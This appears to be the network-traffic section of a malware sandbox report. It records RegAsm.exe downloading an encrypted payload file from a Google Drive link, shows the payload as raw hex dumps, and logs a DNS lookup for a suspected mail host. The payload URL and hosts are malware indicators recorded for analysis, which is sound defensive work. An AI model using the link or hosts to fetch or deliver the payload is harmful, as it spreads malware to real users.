                                                            Oct 12, 2021 09:38:07.556677103 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.556931019 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.557195902 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.557250023 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.557440996 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.557647943 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.557809114 CEST49794443192.168.11.20142.250.186.33

                                                            UDP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Oct 12, 2021 09:38:06.483787060 CEST5868353192.168.11.201.1.1.1
                                                            Oct 12, 2021 09:38:06.514954090 CEST53586831.1.1.1192.168.11.20
                                                            Oct 12, 2021 09:38:07.228015900 CEST6059253192.168.11.201.1.1.1
                                                            Oct 12, 2021 09:38:07.269540071 CEST53605921.1.1.1192.168.11.20
                                                            Oct 12, 2021 09:39:44.477793932 CEST5974153192.168.11.201.1.1.1
                                                            Oct 12, 2021 09:39:45.247864962 CEST53597411.1.1.1192.168.11.20

                                                            DNS Queries

                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                            Oct 12, 2021 09:38:06.483787060 CEST192.168.11.201.1.1.10xd75dStandard query (0)drive.google.comA (IP address)IN (0x0001)
                                                            Oct 12, 2021 09:38:07.228015900 CEST192.168.11.201.1.1.10xca17Standard query (0)doc-0c-28-docs.googleusercontent.comA (IP address)IN (0x0001)
                                                            Oct 12, 2021 09:39:44.477793932 CEST192.168.11.201.1.1.10xd454Standard query (0)mail.cselegance.comA (IP address)IN (0x0001)

                                                            DNS Answers

                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                            Oct 12, 2021 09:38:06.514954090 CEST1.1.1.1192.168.11.200xd75dNo error (0)drive.google.com172.217.168.46A (IP address)IN (0x0001)
                                                            Oct 12, 2021 09:38:07.269540071 CEST1.1.1.1192.168.11.200xca17No error (0)doc-0c-28-docs.googleusercontent.comgooglehosted.l.googleusercontent.comCNAME (Canonical name)IN (0x0001)
                                                            Oct 12, 2021 09:38:07.269540071 CEST1.1.1.1192.168.11.200xca17No error (0)googlehosted.l.googleusercontent.com142.250.186.33A (IP address)IN (0x0001)
                                                            Oct 12, 2021 09:39:45.247864962 CEST1.1.1.1192.168.11.200xd454No error (0)mail.cselegance.comcselegance.comCNAME (Canonical name)IN (0x0001)
                                                            Oct 12, 2021 09:39:45.247864962 CEST1.1.1.1192.168.11.200xd454No error (0)cselegance.com116.0.120.83A (IP address)IN (0x0001)
                                                            Oct 12, 2021 09:42:00.069184065 CEST1.1.1.1192.168.11.200x242bNo error (0)prda.aadg.msidentity.comwww.tm.a.prd.aadg.trafficmanager.netCNAME (Canonical name)IN (0x0001)

                                                            HTTP Request Dependency Graph

                                                            • drive.google.com
                                                            • doc-0c-28-docs.googleusercontent.com

                                                            HTTPS Proxied Packets

                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                            0192.168.11.2049793172.217.168.46443C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                            TimestampkBytes transferredDirectionData
                                                            2021-10-12 07:38:06 UTC0OUTGET /uc?export=download&id=1hKAWruhccvaKl722JOqs1briWjn1s8ks HTTP/1.1
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
                                                            Host: drive.google.com
                                                            Cache-Control: no-cache
                                                            2021-10-12 07:38:07 UTC0INHTTP/1.1 302 Moved Temporarily
                                                            Content-Type: text/html; charset=UTF-8
                                                            Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                            Pragma: no-cache
                                                            Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                            Date: Tue, 12 Oct 2021 07:38:07 GMT
                                                            Location: https://doc-0c-28-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/g7dge6jvaanlcs7829hvlmboru4ioabe/1634024250000/16524389560697724177/*/1hKAWruhccvaKl722JOqs1briWjn1s8ks?e=download
                                                            P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
                                                            Content-Security-Policy: script-src 'nonce-Hpnxd4Lrzmt2tSZJEkjD8w' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
                                                            X-Content-Type-Options: nosniff
                                                            X-Frame-Options: SAMEORIGIN
                                                            X-XSS-Protection: 1; mode=block
                                                            Server: GSE
                                                            Set-Cookie: NID=511=tlRjGx_N-E3lQP4hqXh-X44zmkFeeZnwK70Ls-v3vtbJu2f5BXP_BqQxmxD9xRD_k9uYXLOO5gx1Q6Gs1DrTFUgUo3RKvMCfxYQ_NGJZeDiEcloEHnJIrTMZjLDtxFs2ukIt8Z7OhJOIZ49w8gPauq-wxPcqjG1A4uMpxJSZIxc; expires=Wed, 13-Apr-2022 07:38:06 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none
                                                            Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                            Accept-Ranges: none
                                                            Vary: Accept-Encoding
                                                            Connection: close
                                                            Transfer-Encoding: chunked
                                                            2021-10-12 07:38:07 UTC1INData Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 63 2d 32 38 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 67 37 64 67
                                                            Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-0c-28-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/g7dg
                                                            2021-10-12 07:38:07 UTC1INData Raw: 30 0d 0a 0d 0a
                                                            Data Ascii: 0


                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                            1192.168.11.2049794142.250.186.33443C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                            TimestampkBytes transferredDirectionData
                                                            2021-10-12 07:38:07 UTC1OUTGET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/g7dge6jvaanlcs7829hvlmboru4ioabe/1634024250000/16524389560697724177/*/1hKAWruhccvaKl722JOqs1briWjn1s8ks?e=download HTTP/1.1
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
                                                            Cache-Control: no-cache
                                                            Host: doc-0c-28-docs.googleusercontent.com
                                                            Connection: Keep-Alive
                                                            2021-10-12 07:38:07 UTC2INHTTP/1.1 200 OK
                                                            X-GUploader-UploadID: ADPycdvzeYC3AERgpqCz14wyKluY9FC8MkM_5T2uVjvHj2vNKJbTNwX6TSRi_CW9S0IY7YVXIcUM50IhGN1e0SXwvUE
                                                            Access-Control-Allow-Origin: *
                                                            Access-Control-Allow-Credentials: false
                                                            Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout
                                                            Access-Control-Allow-Methods: GET,OPTIONS
                                                            Content-Type: application/octet-stream
                                                            Content-Disposition: attachment;filename="SOFTY_EjIjLXg185.bin";filename*=UTF-8''SOFTY_EjIjLXg185.bin
                                                            Content-Length: 221760
                                                            Date: Tue, 12 Oct 2021 07:38:07 GMT
                                                            Expires: Tue, 12 Oct 2021 07:38:07 GMT
                                                            Cache-Control: private, max-age=0
                                                            X-Goog-Hash: crc32c=cPDEgg==
                                                            Server: UploadServer
                                                            Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                            Connection: close
                                                            2021-10-12 07:38:07 UTC5INData Raw: 8e e9 a1 13 a6 d9 7d be 1a 0f f3 17 a0 e9 bb 3d df 08 bd b7 10 6e 38 da 6a 89 39 78 f7 ed c2 19 9c 56 01 d2 94 be 90 28 4f bd d0 67 1d 38 48 2c 73 b0 0c 77 6c 44 40 b3 a3 f8 56 e9 70 0c e3 f1 0d a8 f1 7d 45 5e db 5f ef 54 44 5d 4f c6 bb db 79 e9 be 6f 6c d1 2b f8 41 98 8a af c8 13 63 0c 28 db 5a ad 6e cd 0d 7c fc 3e eb c0 13 bc 22 7b ef 06 30 fa 87 a1 c2 f0 aa 42 a1 8a 5c 64 87 87 fa 1f f9 84 69 ca cc 09 aa 33 63 c9 56 18 c2 11 d8 09 ef d0 6b 6c eb 6c 64 81 82 41 dd f1 09 fc 22 88 a5 5e 54 6d 34 0c 4e 1a 57 d7 ab e9 92 8a 6a 23 86 bd 95 6e 05 74 10 75 34 f8 38 5f b0 c3 39 4b c5 0d 91 aa 07 39 82 08 88 7f a8 ec 78 05 ed b0 25 18 a9 60 24 6c 3d 61 9d 96 a6 9b bd b6 44 87 44 39 cc 15 5c 53 4f 38 54 26 39 ff 06 1c d7 c2 9d 96 f8 45 01 1a 0a 99 e4 9c b1 94 85
                                                            Data Ascii: }=n8j9xV(Og8H,swlD@Vp}E^_TD]Oyol+Ac(Zn|>"{0B\di3cVklldA"^Tm4NWj#ntu48_9K9x%`$l=aDD9\SO8T&9E
                                                            2021-10-12 07:38:07 UTC9INData Raw: a4 51 66 99 18 ec ff eb 3c 82 84 3d b8 aa 2f 79 48 19 ea c4 58 9d 9b 16 bb cd 8f d6 52 b9 29 aa d6 b6 75 3a 81 f8 3a ac 57 87 b9 68 e9 f5 04 7f fb b1 28 0f 96 ea 25 d9 24 f4 93 e7 31 a7 81 31 6a 5e 27 d8 11 04 59 7b 88 c1 2b fd e6 80 80 90 00 d6 5e be 0a 00 4e b2 ee ca fd d0 4b fd 89 53 43 25 23 f3 94 8c 30 e1 f6 f9 3b bb a8 ef cb db c3 64 3f 3c d7 4f 97 04 4a 7f 3d a2 5b 0a 16 dd 83 31 74 7e 93 3b c7 f8 68 83 57 23 8f b5 c7 03 eb e0 9c b0 bf a7 3f ca 8a 83 2f 29 42 c9 82 3c 14 74 9e 2d d5 d6 5b 36 f0 59 89 29 b4 95 56 21 6d 74 20 0d da d3 22 57 58 3f b5 99 6c a4 9c 22 af 06 29 97 ea 2d 6c 04 17 c7 c3 a0 e9 11 6d f7 a5 f2 b1 7c 54 7b 3a 72 b8 fa bc 2c c1 47 7f 0a 8c 4d c3 36 80 c2 3e da 23 8c 71 55 ff 45 c3 07 95 0e 6b 7b e0 3e 62 62 ad f5 3e 67 37 3e d0
                                                            Data Ascii: Qf<=/yHXR)u::Wh(%$11j^'Y{+^NKSC%#0;d?<OJ=[1t~;hW#?/)B<t-[6Y)V!mt "WX?l")-lm|T{:r,GM6>#qUEk{>bb>g7>
                                                            2021-10-12 07:38:07 UTC13INData Raw: 5d 76 e5 86 07 9b 19 96 ab 65 c6 db 56 16 4d ba cc 60 a0 a4 3b 65 b0 94 b5 95 c0 df 5d c5 74 7f 79 eb 7c 4f 30 7c dd 5b a6 09 f9 05 9b c4 5c 40 7a d0 6c 6f 95 fa 8a bc 25 30 0f 5c 93 7a 54 44 71 ef 61 a0 64 cc 2a d5 bf 8a 01 c1 95 fb 07 8b 08 12 8d 40 85 ef e6 3f 3d 34 01 b4 0f 90 9f b3 2c ee 33 93 9d d2 89 22 12 5a 05 34 f5 7b fc d6 4f 4c 7e 60 a4 b8 0a ba c1 04 a1 c8 ab 69 d0 11 46 c4 b9 a2 53 ce f4 51 48 fd cc 32 a5 31 7f 68 24 3a d9 8c c3 00 a6 6c a2 24 a7 f8 31 dc 3a 5c bd 4e 18 43 ef 19 79 15 41 d7 42 ab 49 68 a4 c8 fa fc 09 d6 21 78 fd d7 35 64 88 ec 46 e4 9d 95 31 57 05 f7 3a c9 8c 21 2e 22 89 1a 87 68 2d 86 35 7d 28 c8 98 61 ba dd 1e 48 14 5b 6a 9f f1 5c 0f 34 83 63 66 f2 a8 03 8d 6d 4d 2b 16 f1 cb b8 2b 8e 35 88 f6 86 cf 43 54 b1 cc 85 4f 49 58
                                                            Data Ascii: ]veVM`;e]ty|O0|[\@zlo%0\zTDqad*@?=4,3"Z4{OL~`iFSQH21h$:l$1:\NCyABIh!x5dF1W:!."h-5}(aH[j\4cfmM++5CTOIX
                                                            2021-10-12 07:38:07 UTC16INData Raw: e0 29 7a 6a a5 10 c6 83 eb 56 a4 fe 9e 56 6f d8 77 ed 71 eb 5c 6c b5 79 c5 c1 b5 7e 86 b1 4c 21 79 f4 16 9c 0b 0c e5 65 ab cc f3 e4 f5 9a db c4 55 35 40 96 d9 48 46 ab fa 0a 87 d7 2f ce 1a 07 9d 64 3a 78 43 37 66 73 46 5d 0e 74 a0 8e ec 2a 98 ea 40 f4 70 5e 6e 9f d9 5f ed 7c 63 5d b0 33 93 85 c1 e9 b8 7c 44 f9 94 fa 01 9e 9b 8c e0 d1 61 0c 2e f3 7d ad 6e c7 25 22 fc 3e ed d3 34 94 9d 79 ef 00 21 d9 af f5 c0 f0 ac 6a 86 8a dc 6e af d9 f4 00 45 99 4b 56 06 c6 8b 8d 6e 94 bf 2a 9f 68 99 70 de 87 0a 05 9d 17 6a 21 a2 22 b6 88 99 91 5e c7 0a 3b 74 15 56 9c 6c 13 3f 98 22 a6 c1 a0 10 b2 e0 87 aa 65 67 b3 34 75 3e ef c6 5d ef fa 5f 0f c5 0d a3 a5 04 39 45 7a fd da aa ec 7e 2d 23 b0 25 12 09 eb 26 6d 36 71 93 be cb c1 be b0 6c 4a 46 39 ca 0f d1 46 91 4e 56 35 79
                                                            Data Ascii: )zjVVowq\ly~L!yeU5@HF/d:xC7fsF]t*@p^n_|c]3|Da.}n%">4y!jnEKVn*hpj!"^;tVl?"eg4u>]_9Ez~-#%&m6qlJF9FNV5y
                                                            2021-10-12 07:38:07 UTC18INData Raw: 5c e5 f2 2b 35 fd a4 09 94 21 6e e3 24 1c be 2d 92 ab 7e ad 15 41 e8 46 b0 c7 60 f6 cb 39 65 b2 85 78 95 c0 d1 05 03 7b 5a 55 f4 fd 4f 3a 65 ea 6c 86 1a fd 0f 54 c0 51 0b ac 04 40 63 96 dd cb 64 da cf db f0 9e 30 b9 56 7e fe 65 a1 f5 9a 06 cd bc 41 38 b8 fa 2d 0d 87 10 7f 68 30 87 e5 f9 29 2f 35 01 be d3 85 8c b7 28 e8 04 b2 4b 11 a7 29 1d 6b 07 45 f7 7d d2 5c 52 5f 7c 71 b2 d3 c7 44 c0 22 82 e5 b3 17 c2 05 50 e8 29 be 40 cc d2 9d 76 e3 c5 cc 81 35 44 61 38 18 b8 b3 d7 15 03 5b 90 37 a3 f2 fd fd 25 a2 bc 1c 1a 4a f4 63 79 55 dd d3 e0 b4 5b f6 b5 c8 eb f9 05 9d ce 39 c7 f3 ed 78 f6 f2 e4 f5 d9 20 50 4c 16 f3 3e f0 cd 3e d0 25 8d 48 8c 72 03 cc 48 7d 22 60 24 63 fe c5 27 16 00 a5 6d 11 e3 0b 05 18 fd 72 62 e7 a3 bf 9e 03 31 16 13 c9 27 6d ab 71 32 fc 4d 97
                                                            Data Ascii: \+5!n$-~AF`9ex{ZUO:elTQ@cd0V~eA8-h0)/5(K)kE}\R_|qD"P)@v5Da8[7%JcyU[9x PL>>%HrH}"`$c'mrb1'mq2M
                                                            2021-10-12 07:38:07 UTC19INData Raw: c4 84 8b 62 85 81 39 96 78 b1 7a cf a0 f8 0b 8c 1e 0b ec a2 22 53 97 67 93 59 a8 c7 3b 6e 1f 41 63 6e 73 39 f7 11 ae c1 aa 14 4c e2 d8 aa 6a 08 7e 3b 75 34 f8 22 5f b0 c2 69 0e c5 0d fd a2 04 39 4f 16 d5 1e 86 e5 78 05 e2 b0 25 18 53 60 26 6c 36 60 96 96 9b ca be b6 4a 8f 44 39 87 1c 5c 53 9e 4e 57 26 23 df 06 1d d7 c2 9d 96 a2 4c 41 1a 04 b9 e4 9c d9 9f 85 da 15 65 9b ad e2 b0 24 f4 50 24 22 d9 80 76 14 31 e9 20 2c c6 40 2a 4c 79 16 ad 22 33 83 18 e6 ed ef 2d 86 eb ff b1 aa 25 64 4d 08 ef 6c 8f ad 92 35 bd c4 e0 9b 52 b9 22 76 08 bc 7d a7 8e f0 55 f5 57 87 b3 0b c8 db 06 70 fd bb f6 07 be dd 24 d9 2e dc bd 2b 38 a1 8b 17 52 5e 27 0e c6 04 5f 5e 88 c1 2b e6 ce 80 81 92 00 af 5e 43 8c 00 44 bc ee ca fd 2b 42 a4 89 1e d8 25 29 e9 94 8c 31 e1 f6 f9 3b 1e 0f
                                                            Data Ascii: b9xz"SgY;nAcns9Lj~;u4"_i9Ox%S`&l6`JD9\SNW&#LAe$P$"v1 ,@*Ly"3-%dMl5R"v}UWp$.+8R^'_^+^CD+B%)1;
                                                            2021-10-12 07:38:07 UTC20INData Raw: dd 67 8f ca c7 64 9a e3 aa 83 ff b6 23 dd 74 66 76 c3 fa 52 ce 77 fa 4f bc 0c fe 6a 79 c0 43 40 ae cf 4b 63 9b fb 5c 9b 09 3d 07 91 41 71 47 4a 72 ce 80 b8 b0 d0 0d cd b1 87 d7 be b9 f0 0f e8 d7 10 a5 3a 91 dc 03 0c 49 34 06 a5 53 8a a0 bf 04 d1 35 8f 65 f9 b9 22 1b 44 34 bb f6 57 fc 77 44 71 97 7a be bc 16 52 3e 29 86 c3 a4 1c c8 16 58 3e 1a 92 42 e1 f1 78 30 1d 3a 33 a2 37 73 61 38 01 9b 8c c3 9f 04 73 a8 10 a3 f8 31 ce 37 a6 84 e2 14 4a f4 67 70 11 5c 2d e1 98 45 6c 8a d6 f8 fc 16 cc db 6e 2f da 10 79 ee e7 42 e4 88 33 34 a5 17 df 3f f3 ef 27 c3 27 a5 00 8a 6a fb a2 19 74 0a 59 86 72 b4 d0 16 5f 06 a5 7a b7 e9 b5 1d 1c 84 7b 6a 77 bb e1 9f 45 4f 11 17 d5 dd 44 f8 60 35 99 9d 86 cf 4d 7e fa 38 85 45 69 67 c7 a3 04 55 e3 64 1c c6 01 ee 86 7b e2 89 fc b1
                                                            Data Ascii: gd#tfvRwOjyC@Kc\=AqGJr:I4S5e"D4WwDqzR>)X>Bx0:37sa8s17Jgp\-Eln/yB34?''jtYr_z{jwEOD`5M~8EigUd{
                                                            2021-10-12 07:38:07 UTC22INData Raw: f4 b7 c8 37 74 17 59 9c 6f 5f 2b df eb a6 c1 ac 68 4c e3 d8 b1 0c 09 7f 34 7f 3e e1 34 5f b8 dc 60 f0 c4 21 ca d5 0c 39 41 12 ab 06 a8 ec 7c 2d c9 b0 25 12 c9 68 26 6d 32 7f 9c 9a a6 cb a0 48 45 a3 53 47 c4 15 5c 57 ef 56 57 26 3d b0 04 1d d7 c8 a7 df 07 ba be 05 03 b5 e4 94 ac 68 84 f6 0b 63 b3 83 fa b0 22 e3 78 0a 22 d9 fd 69 3a 58 f9 2c 2c ce da 2f b2 78 35 a6 25 24 e7 01 e6 ec eb 8f 99 e6 67 b8 a2 3a 7a b3 09 c3 c5 81 b6 ec 23 bd c4 e4 23 4d a8 2f 76 00 a3 72 e8 86 dc 52 fc 4d 81 11 ab d1 d7 06 77 e4 45 f7 31 ad db 0d 3d 2c dc bb cd d4 a3 8b 1f 3d 23 27 d2 c5 0e 45 5d 88 c9 3d 02 cf ac 82 85 0c af 56 b7 97 fe 45 9e ec e1 f8 ea 38 5a 76 ee f2 25 29 f3 8f bc 34 e1 3d f9 3b 16 2f ef d9 d0 c1 4c 3d 26 e7 40 f8 27 4b 7f 37 d8 6e 0a 07 d5 a1 a5 c7 7e 99 4f
                                                            Data Ascii: 7tYo_+hL4>4_`!9A|-%h&m2HESG\WVW&=hc"x"i:X,,/x5%$g:z##M/vrRMwE1=,=#'E]=VE8Zv%)4=;/L=&@'K7n~O
                                                            2021-10-12 07:38:07 UTC23INData Raw: 03 03 04 a6 c4 68 50 9e dc 40 6a 8a 19 a3 b6 27 27 08 fe 85 6d b9 41 5d fc 4e b8 b1 5a 01 da 60 96 2e b7 a4 44 1b ad 1a 10 b6 00 84 ef 46 17 42 34 2f be ad 9a 9a a4 28 c7 b8 8f 63 d3 a5 38 1f 5a d3 44 db 74 ec 0a 77 5f 7a 64 3b 0b 06 9e cd 24 b0 d2 b7 17 d9 15 5d 3e 1a 92 5b cc 9b 4b 4d e2 cf b2 81 1d 73 65 30 88 bd a6 ed 06 04 79 be c9 a2 d4 7d c4 37 a6 bc 73 10 5d 0a 66 4d 16 59 c0 e4 b4 51 7f b8 36 ea d4 05 a3 fd 79 d1 df 14 79 f7 f4 4c 8b eb 37 2e 51 1c ea 29 dc 88 2d d4 3f 5b 10 a2 77 12 89 28 6e 26 6a 97 76 a4 23 0e 60 07 8e 4a a8 e1 4f 1c 21 87 64 9c ec 9c fe 9b 52 4b 00 02 cd 3e bb d5 5d 30 dd ea be a3 b8 83 6a c4 92 93 6f 43 e4 8f 94 47 c9 75 18 c4 cf eb aa fd f3 85 e6 8d f1 d3 e5 14 c0 2a 3e ba 03 1b c8 92 7c 14 87 38 0a 87 c7 62 f2 61 9c 56 6d
                                                            Data Ascii: hP@j''mA]NZ`.DFB4/(c8ZDtw_zd;$]>[KMse0y}7s]fMYQ6yyL7.Q)-?[w(n&jv#`JO!dRK>]0joCGu*>|8baVm
                                                            2021-10-12 07:38:07 UTC24INData Raw: 51 34 f8 32 df b8 c3 69 0a 18 48 de ab 04 3b 5e 63 e6 07 d6 e4 78 05 e9 98 2f 1b 49 66 0e 49 36 60 9c 16 ae c3 be b2 99 a8 47 39 cc 17 43 25 a2 57 29 2e 39 df 02 34 dc c1 9d 90 d0 61 41 1a 00 39 ec 9c b1 92 58 d3 19 65 9b af e7 c7 17 ec 2e 2c 22 d9 f3 57 18 32 e7 26 04 e2 c5 23 46 f9 11 ad 22 37 44 f3 e4 ec ef 2f 99 93 58 a1 d4 2d 6a 4d 0c c7 c3 85 ad 94 12 99 c4 e0 8b d2 b1 23 76 0c 61 b0 14 87 f0 57 e4 2e b4 aa ca c9 db 06 7b d5 b5 f5 1d b8 f5 01 d9 2e d6 3d ed 31 a1 8f c4 fd 5c 27 d2 cd 1b 25 62 91 bf 23 fc ce 84 a8 9d 03 af 58 80 a1 00 44 b8 6e c2 fd d2 4f 79 18 13 d8 25 2b ec ef bf 29 9f fe f9 3b 12 2d ff da c1 c5 4c 1a 27 e7 40 17 1b 4b 7f 39 6a 28 08 07 df a9 67 54 4d 80 31 fc f8 68 86 75 79 a5 ff c1 2b c5 8f d7 ba 3f a5 39 dd e1 12 7a 2b 48 cf 8a
                                                            Data Ascii: Q42iH;^cx/IfI6`G9C%W).94aA9Xe.,"W2&#F"7D/X-jM#vaW.{.=1\'%b#XDnOy%+);-L'@K9j(gTM1huy+?9z+H
                                                            2021-10-12 07:38:07 UTC25INData Raw: 74 b1 80 1b 15 c6 a9 94 3a a4 95 ea 16 98 3c ee a4 1c 89 ed f1 1c 6a 2d 00 be a7 98 99 a8 0b ec 2c 8f 72 c8 ba 15 e5 42 01 49 f1 6a f5 1b 7a 5d 7a 66 aa 81 02 5f c0 39 b1 de 92 e9 c9 3d 4d d1 10 af 4e 1c e7 4b 53 c0 d6 d7 a4 0c 68 7e 0b ec aa a2 d3 17 01 5b fb 37 a3 fe 19 10 da 5d 43 7d 20 59 ef 67 70 0e 5e df 1e b5 6c 71 b1 c3 f1 2e 05 d6 c0 74 c2 c0 3c 6b ed eb 4d 1a 98 1b 2b 71 09 ff 29 c3 88 2d cb 3c 94 ef 8f 5e 14 a1 24 76 33 6f 90 63 b8 f5 15 4d 02 af 74 81 e1 50 1c 21 98 6d 72 13 b1 d1 82 43 5e 0b 3b dc 22 45 de 62 24 e9 fe 95 d4 47 6d 8e d3 b8 bb 62 67 e2 b8 3f 42 e0 75 1e b0 d5 ed aa 78 eb bb f5 b9 f1 c2 ef 23 a6 d4 3f 90 8d 39 d9 99 50 73 a2 38 00 90 ed 43 a3 51 87 56 78 eb 4c db 8f e0 63 40 9c d8 13 62 4a 61 b7 b1 74 09 d5 ed 09 bf e4 2e e1 d0
                                                            Data Ascii: t:<j-,rBIjz]zf_9=MNKSh~[7]C} Ygp^lq.t<kM+q)-<^$v3ocMtP!mrC^;"Eb$Gmbg?Bux#?9Ps8CQVxLc@bJat.
